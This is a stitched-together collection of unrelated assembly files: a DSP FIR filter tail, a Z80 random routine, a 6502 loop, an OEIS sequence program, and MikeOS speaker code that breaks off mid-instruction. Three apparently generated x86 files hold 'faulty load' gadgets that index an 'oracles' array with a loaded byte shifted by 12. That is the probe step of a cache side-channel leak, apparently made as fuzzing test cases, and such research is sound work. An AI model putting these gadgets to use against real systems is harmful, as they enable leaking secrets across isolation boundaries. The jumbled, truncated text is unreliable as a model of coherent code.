ARx setup MOV XAR3, XAR4 ;save db array address MOV XAR4, xdb_base1 ;extended base address for db_ptr1 ;xdb_base2 already setup via argument pass MOV *AR4, db_ptr1 ;index of oldest db entry MOV *AR4+, db_ptr2 ;index of oldest db entry MOV mmap(AR4), db_base1 ;base address for db_ptr1 MOV mmap(AR4), db_base2 ;base address for db_ptr2 ; Set circular/linear ARx behavior OR #ST2mask, mmap(ST2_55) ;config circ/linear pointers MOV mmap(T1), db_sz ;db_sz = nh ADD #1, mmap(db_sz) ;db_sz = nh+1 ; db pointers, part 2 - must come after circ/linear ARx setup AMAR *db_ptr2- ;index of 2nd oldest db entry ; ; Setup loop counts ;---------------------------------------------------------------- ||SFTS T0, #-1 ;T0 = nx/2 SUB #1, T0 ;T0 = (nx/2 - 1) MOV T0, outer_cnt ;outer loop executes nx/2 times SUB #3, T1, T0 ;T0 = nh-3 MOV T0, inner_cnt ;inner loop executes nh-2 times ; ; Compute last iteration input pointer offsets ;---------------------------------------------------------------- ADD #1, T1 ;T1 = nh+1, adjustment for db_ptr1, db_ptr2 MOV *x_ptr+, *db_ptr1 ;get 1st new input value MOV *x_ptr+, *db_ptr2 ;get 2nd new input value (newest) ; ; Start of outer loop ;---------------------------------------------------------------- ||RPTBLOCAL loop1-1 ;start the outer loop ;1st iteration MPY *db_ptr1+, *h_ptr+, AC0 ;part 1 of dual-MPY ::MPY *db_ptr2+, *h_ptr+, AC1 ;part 2 of dual-MPY ;inner loop ||RPT inner_cnt MAC *db_ptr1+, *h_ptr+, AC0 ;part 1 of dual-MAC ::MAC *db_ptr2+, *h_ptr+, AC1 ;part 2 of dual-MAC ;last iteration has different pointer adjustment and rounding MACR *(db_ptr1-T1), *h_ptr+, AC0 ;part 1 of dual-MAC ::MACR *(db_ptr2-T1), *h_ptr+, AC1 ;part 2 of dual-MAC MOV *x_ptr+, *db_ptr1 ;get 1st new input value MOV *x_ptr+, *db_ptr2 ;get 2nd new input value (newest) ;store results to memory MOV pair(HI(AC0)), dbl(*r_ptr+) ;store 1st Q15 result to memory ;store 2nd Q15 result to memory loop1: ;end of outer loop ; ; Update the db entry point ;---------------------------------------------------------------- MOV db_ptr1, *-AR4 ;update 1st element of db array ; ; Check if overflow occurred, and setup return value ;---------------------------------------------------------------- ||MOV #0, oflag ;clear oflag XCCPART check1, overflow(AC0) ;clears ACOV0 ||MOV #1, oflag ;overflow occurred check1: XCCPART check2, overflow(AC1) ;clears ACOV1 ||MOV #1, oflag ;overflow occurred check2: ; ; Restore status regs to expected C-convention values as needed ;---------------------------------------------------------------- BCLR FRCT ;clear FRCT AND #0FE00h, mmap(ST2_55) ;clear CDPLC and AR[7-0]LC BSET ARMS ;set ARMS ; ; Restore any save-on-entry registers that are used ;---------------------------------------------------------------- ; - nothing to restore for this function ; ; Deallocate the local frame and argument block ;---------------------------------------------------------------- ; SP = SP + #(ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ) ; - not necessary for this function (the above is zero) ; ; Return to calling function ;---------------------------------------------------------------- ||RET ;return to calling function ;---------------------------------------------------------------- ;End of file
doRandom2: ; .DORND2 \ -> &3F85 \ Restricted for explosion dust. doRND2: and a ; fast clear carry leave bit0 of RAND+2 at 0. doRandom: ;.DORND \ -> &3F86 \ do random, new A, X. ; "doRandom, Random Seed update, new value in A & B)" doRND: ld a,(RandomSeed) ; Get Seed 0 rl a ; Rotate L including carry ld c,a ; c = double lo .AddSeed2: ld hl,RandomSeed2 adc a,(hl) ; RAND+2 .SaveAtoSeed: ld (RandomSeed),a ; and save RAND .SaveBtoSeed2: ex af,af' ld a,c ld (RandomSeed2),a ex af,af' ld a,(RandomSeed1) ld c,a ; C = Seed1 .AddSeed3: ld hl,RandomSeed3 adc a,(hl) ld (RandomSeed1),a ex af,af' ld a,c ld (RandomSeed3),a ex af,af' ret fillHeapRandom4Points: ; counter Y, 4 rnd bytes to edge heap ld b,4 ld hl,UbnkLineArray ; line data FillRandom: ; Writes random bytes hl = start address, b = nbr bytes to fill EE55: call doRND ; get random ld (hl),a ; (XX19),Y inc hl djnz FillRandom ; 3to6 = random bytes for seed ret
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1e191, %rax nop dec %rcx movb $0x61, (%rax) nop xor %rdi, %rdi lea addresses_WT_ht+0xfd91, %r15 nop nop nop nop lfence mov (%r15), %ecx nop nop xor %rcx, %rcx lea addresses_normal_ht+0xe0a5, %rcx sub $2984, %rdx mov $0x6162636465666768, %rdi movq %rdi, %xmm2 movups %xmm2, (%rcx) nop nop sub %r13, %r13 lea addresses_WC_ht+0xe591, %rsi lea addresses_WT_ht+0x1ab11, %rdi xor $29949, %r13 mov $116, %rcx rep movsw nop nop nop nop nop cmp %rsi, %rsi lea addresses_normal_ht+0x9009, %rax nop nop nop inc %rsi mov $0x6162636465666768, %r13 movq %r13, %xmm7 vmovups %ymm7, (%rax) nop nop nop cmp $23589, %r13 lea addresses_UC_ht+0x5191, %rsi lea addresses_WT_ht+0x163c3, %rdi clflush (%rdi) nop nop nop nop nop and %rax, %rax mov $96, %rcx rep movsq sub %r13, %r13 lea addresses_WC_ht+0x16991, %rsi lea addresses_A_ht+0x47d1, %rdi clflush (%rsi) nop cmp $63767, %rdx mov $61, %rcx rep movsl nop nop nop cmp %r15, %r15 lea addresses_WT_ht+0x14791, %rdx nop nop nop sub %r14, %r14 movw $0x6162, (%rdx) nop inc %rax lea addresses_A_ht+0x11b29, %rsi lea addresses_normal_ht+0xa879, %rdi clflush (%rsi) nop nop cmp %r13, %r13 mov $83, %rcx rep movsl nop cmp %r14, %r14 lea addresses_D_ht+0x12409, %r15 clflush (%r15) nop nop cmp $60475, %r14 mov $0x6162636465666768, %rdi movq %rdi, %xmm3 vmovups %ymm3, (%r15) nop nop nop nop nop xor %r13, %r13 lea addresses_WT_ht+0x18191, %rdi nop nop xor %r15, %r15 mov $0x6162636465666768, %rax movq %rax, %xmm3 vmovups %ymm3, (%rdi) nop nop nop add %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r9 push %rax push %rbx push %rcx // Store lea addresses_D+0xd191, %r11 nop nop nop nop xor %r9, %r9 mov $0x5152535455565758, %rax movq %rax, %xmm3 vmovups %ymm3, (%r11) nop nop nop nop xor %rax, %rax // Store lea addresses_normal+0x9755, %r11 nop nop nop sub %r14, %r14 movl $0x51525354, (%r11) add $7867, %r12 // Faulty Load lea addresses_D+0xd191, %r12 nop cmp %rbx, %rbx movb (%r12), %r11b lea oracles, %r9 and $0xff, %r11 shlq $12, %r11 mov (%r9,%r11,1), %r11 pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
processor 6502 org $1000 loop: ldy #$00 sty $d020 iny iny iny iny iny iny iny iny sty $d021 jmp loop
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x9e34, %rdi nop nop nop sub %rbx, %rbx mov $0x6162636465666768, %r14 movq %r14, (%rdi) nop nop nop nop nop xor %r15, %r15 lea addresses_normal_ht+0xea34, %rsi lea addresses_A_ht+0x17a24, %rdi clflush (%rsi) nop nop nop nop sub $40343, %rax mov $96, %rcx rep movsw nop add %rcx, %rcx lea addresses_UC_ht+0x1ea34, %rdi nop nop nop nop nop xor %r14, %r14 vmovups (%rdi), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rax nop xor %r14, %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %r9 push %rbx push %rsi // Faulty Load lea addresses_A+0x4a34, %r15 nop nop nop nop and %rsi, %rsi mov (%r15), %rbx lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rbx pop %r9 pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'35': 16354} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_WT_ht+0x12802, %rsi lea addresses_normal_ht+0x11cb4, %rdi add %r13, %r13 mov $70, %rcx rep movsl nop nop nop nop nop cmp $5154, %r15 lea addresses_WT_ht+0x1705c, %r11 nop nop cmp %r10, %r10 movb $0x61, (%r11) nop nop xor $1415, %r11 lea addresses_WC_ht+0x80c4, %r11 nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, (%r11) nop nop nop add $31446, %r13 lea addresses_D_ht+0x1271c, %r15 nop nop nop and %r11, %r11 vmovups (%r15), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rdi nop nop add $17331, %r10 lea addresses_D_ht+0xa0fc, %rsi lea addresses_A_ht+0x9324, %rdi nop nop nop nop nop cmp $56034, %r9 mov $24, %rcx rep movsl nop nop nop nop nop inc %r15 lea addresses_A_ht+0x18db8, %r11 nop nop xor %rsi, %rsi mov (%r11), %r10w nop cmp %rcx, %rcx lea addresses_normal_ht+0x182f6, %r10 clflush (%r10) sub %r15, %r15 mov (%r10), %r13d nop nop nop nop nop add $32184, %rsi lea addresses_UC_ht+0x1a2ac, %r11 nop nop nop and %rsi, %rsi movups (%r11), %xmm7 vpextrq $0, %xmm7, %rcx nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0x154fc, %rdi and $42908, %r10 mov (%rdi), %r9d nop nop nop nop sub $10488, %r13 lea addresses_WC_ht+0x2a60, %rsi lea addresses_normal_ht+0x29b4, %rdi nop nop nop and $25216, %r9 mov $28, %rcx rep movsb nop nop nop nop nop add %r15, %r15 lea addresses_D_ht+0xbde, %rsi nop dec %r9 movups (%rsi), %xmm2 vpextrq $0, %xmm2, %r13 nop nop sub $12641, %r11 lea addresses_normal_ht+0x8f44, %r11 nop and $35685, %rsi movb (%r11), %r15b nop nop nop nop add %r9, %r9 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %r9 push %rbx push %rdi // Store lea addresses_UC+0x114fc, %r8 nop nop nop sub %r9, %r9 mov $0x5152535455565758, %rdi movq %rdi, (%r8) nop sub $61691, %rbx // Store mov $0x74d0f70000000414, %r13 xor %r11, %r11 movl $0x51525354, (%r13) nop nop nop nop nop cmp $55155, %r9 // Store lea addresses_A+0x11991, %r11 xor $40123, %r13 mov $0x5152535455565758, %r8 movq %r8, %xmm1 movups %xmm1, (%r11) nop nop nop nop sub %r13, %r13 // Store lea addresses_A+0x55fc, %r13 nop nop nop nop nop sub %r15, %r15 mov $0x5152535455565758, %r9 movq %r9, %xmm3 vmovups %ymm3, (%r13) nop and $16164, %rbx // Faulty Load lea addresses_D+0x70fc, %r13 nop nop nop xor $48347, %r15 mov (%r13), %rbx lea oracles, %r11 and $0xff, %rbx shlq $12, %rbx mov (%r11,%rbx,1), %rbx pop %rdi pop %rbx pop %r9 pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_D', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 2, 'NT': True, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'36': 511} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; A061228: a(1) = 2, a(n) = smallest number greater than n which is not coprime to n. ; 2,4,6,6,10,8,14,10,12,12,22,14,26,16,18,18,34,20,38,22,24,24,46,26,30,28,30,30,58,32,62,34,36,36,40,38,74,40,42,42,82,44,86,46,48,48,94,50,56,52,54,54,106,56,60,58,60,60,118,62,122,64,66,66,70,68,134,70,72,72,142,74,146,76,78,78,84,80,158,82,84,84,166,86,90,88,90,90,178,92,98,94,96,96,100,98,194,100,102,102,202,104,206,106,108,108,214,110,218,112,114,114,226,116,120,118,120,120,126,122,132,124,126,126,130,128,254,130,132,132,262,134,140,136,138,138,274,140,278,142,144,144,154,146,150,148,150,150,298,152,302,154,156,156,160,158,314,160,162,162,168,164,326,166,168,168,334,170,182,172,174,174,346,176,180,178,180,180,358,182,362,184,186,186,190,188,198,190,192,192,382,194,386,196,198,198,394,200,398,202,204,204,210,206,210,208,210,210,220,212,422,214,216,216,220,218,224,220,222,222,234,224,446,226,228,228,454,230,458,232,234,234,466,236,240,238,240,240,478,242,482,244,246,246,250,248,260,250,252,252 mov $1,1 mov $2,$0 mov $3,$0 lpb $2,1 mul $2,$1 add $1,$0 sub $2,1 gcd $1,$2 lpe add $1,1 add $1,$3
; ================================================================== ; PC SPEAKER SOUND ROUTINES ; ================================================================== ; ------------------------------------------------------------------ ; os_speaker_tone -- Generate PC speaker tone (call os_speaker_off to turn off) ; IN: AX = note frequency; OUT: Nothing (registers preserved) os_speaker_tone: pusha cmp byte [0083h], 0 je near .exit popa pusha cmp ax, 0 je near .exit call os_speaker_off mov cx, ax ; Store note value for now mov al, 10110110b out 43h, al mov dx, 12h ; Set up frequency mov ax, 34DCh div cx out 42h, al mov al, ah out 42h, al in al, 61h ; Switch PC speaker on or al, 03h out 61h, al .exit: popa ret ; ------------------------------------------------------------------ ; os_speaker_off -- Turn off PC speaker ; IN/OUT: Nothing (registers preserved) os_speaker_off: pusha in al, 61h and al, 0FCh out 61h, al popa ret ; ------------------------------------------------------------------ ; os_check_adlib -- Checks if YM3812 is present in the system ; OUT: CF clear if YM3812 is present os_check_adlib: pusha mov ax, 0460h call os_adlib_regwrite mov ax, 0480h call os_adlib_regwrite mov dx, 388h in al, dx cmp al, 0 jne .error popa clc ret .error: popa stc ret ; ------------------------------------------------------------------ ; os_adlib_regwrite -- Write to a YM3812 register on ports 388h & 389h ; IN: AH/AL - register address/value to write os_adlib_regwrite: pusha mov dx, [57077] push ax mov al, ah out dx, al pop ax mov dx, [57079] out dx, al popa ret ; ------------------------------------------------------------------ ; os_adlib_calcfreq -- Calculate a frequency into YM3812 registers ; IN: AX - frequency; OUT: AL/BL - register (AXh/BXh) values os_adlib_calcfreq: pushad movzx eax, 